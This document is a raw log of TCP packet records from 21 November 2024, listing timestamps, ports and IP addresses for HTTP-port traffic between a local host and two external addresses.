Nov 21, 2024 14:11:31.850770950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.850805998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.851341009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.851557970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.851594925 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.851596117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.854238033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.854288101 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.854306936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.854460001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.854499102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.854526997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.855269909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.855328083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.855405092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.856117964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.856185913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.856205940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.856834888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.856892109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.856920958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.857637882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.857676029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.857759953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.858469963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.858510017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.858581066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.859255075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.859297991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.859338999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.860028028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.860066891 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.860146999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.860868931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.860912085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.860923052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.861627102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.861727953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.861771107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.862492085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.862510920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.862529039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.863249063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.863281965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.863346100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.864037991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.864084005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.864129066 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.864840984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.864948034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.864968061 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.865643978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.865689993 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.865751982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.866477013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.866514921 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.866554976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.867243052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.867281914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.867341042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.868071079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.868117094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.868169069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.868844032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.868895054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.869050980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.869626999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.869714975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.869752884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.870414019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.870454073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.870512962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.871256113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.871304035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.871308088 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.872014999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.872055054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.872081995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.872818947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.872863054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.872946978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.873651981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.873692036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.873716116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.874850035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.874896049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.874972105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.875947952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.875999928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.876034975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.876557112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.876616001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.876629114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.877068996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.877104044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.877115011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.877648115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.877717972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.877787113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.878384113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.878436089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.878452063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.879153013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.879261971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.879283905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.880004883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.880038977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.880095005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.880796909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.880841970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.880878925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.881593943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.881635904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.881647110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.882359028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.882417917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.882442951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.883182049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.883219004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.883342028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.883996010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.884033918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.884094954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.884773016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.884819031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.884880066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.885580063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.885626078 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.885652065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.886363983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.886399031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.886451960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.887165070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.887227058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.887262106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.887969971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.888010979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.888067007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.888885021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.888940096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.889102936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.889779091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.889820099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.889827967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.890539885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.890577078 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.890635967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.891278028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.891319036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.891340971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.891923904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.891963959 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.892019033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.892779112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.892817020 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:31.892874956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.893461943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:31.893498898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.045124054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.045212984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.045279980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.045523882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.045578957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.045804977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.046288013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.046617031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.046706915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.047055006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.047328949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.047379017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.047405005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.047816038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.047976971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.048028946 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.048636913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.048794031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.048827887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.049398899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.049453020 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.049489021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.050309896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.050400972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.050436020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.051269054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.051418066 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.051439047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.052015066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.052090883 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.052169085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.052726030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.052777052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.052795887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.053402901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.053474903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.053495884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.054183006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.054249048 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.054280996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.054961920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.055052042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.055078030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.055792093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.055845976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.055866003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.056621075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.056687117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.056727886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.057635069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.057688951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.057770967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.058207989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.058326006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.058444023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.059022903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.059087038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.059123039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.059789896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.059885025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.059974909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.060556889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.060614109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.060642004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.061351061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.061444998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.061460972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.062143087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.062222958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.062252045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.062927961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.063044071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.063050985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.063744068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.063793898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.063893080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.064543962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.064665079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.064676046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.065332890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.065397024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.065426111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.066147089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.066205025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.066239119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.066731930 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.066787958 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.066803932 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.066891909 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.066891909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.066916943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.067008972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.067584038 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067603111 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067615986 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067637920 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.067672968 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.067692995 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067703962 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067715883 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067728043 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067754030 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.067790031 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.067790031 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.067805052 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.067836046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.067848921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.067850113 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.067915916 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.068563938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.068619013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.068641901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.069350958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.069421053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.069439888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.070113897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.070230961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.070241928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.070952892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.071067095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.071069956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.071726084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.071785927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.071865082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.072525024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.072609901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.072664976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.073313951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.073362112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.073451996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.074160099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.074194908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.074223042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.074896097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.074950933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.074986935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.075702906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.075784922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.075795889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.076483011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.076524019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.076571941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.077281952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.077394962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.077466965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.078093052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.078150034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.078177929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.078877926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.078912973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.078978062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.079683065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.079730034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.079766035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.080487967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.080598116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.080617905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.081340075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.081376076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.081403017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.082065105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.082129955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.082180977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.082881927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.082983017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.082986116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.083663940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.083710909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.083786964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.084469080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.084533930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.084558010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.085283041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.085335016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.085370064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.086059093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.086139917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.086191893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.086817980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.086910009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.186450958 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.186533928 CET	80	49927	185.215.113.16	192.168.2.6
